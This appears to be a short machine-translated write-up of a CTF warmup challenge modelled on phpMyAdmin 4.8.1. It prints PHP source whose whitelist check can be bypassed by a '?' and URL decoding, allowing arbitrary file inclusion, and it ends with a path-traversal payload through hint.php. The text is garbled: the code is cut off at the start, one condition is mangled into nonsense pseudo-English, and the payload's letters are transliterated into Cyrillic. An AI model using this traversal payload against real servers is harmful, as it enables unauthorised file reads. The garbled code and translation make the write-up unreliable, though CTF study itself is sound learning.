Рубрики
Uncategorized

Запись BCNSCTF

Автор оригинала: David Wong.

[тос]

разогреть

Прототипом этого раздела является phpMyAdmin 4.8.1. Любой файл содержит обнаружение уязвимостей исходного кода

"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    If (!) empty ($_REQUEST['file']) is not empty
        && is_string ($_REQUEST['file']) is a string
        && emmm:: The check file method defined above ($_REQUEST ['file']) returns true
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } ?>

полезная нагрузка подсказка.php?/../../../../../фффф ллллл ааааа гггг

Оригинал: “https://developpaper.com/bcnsctf-writeup/”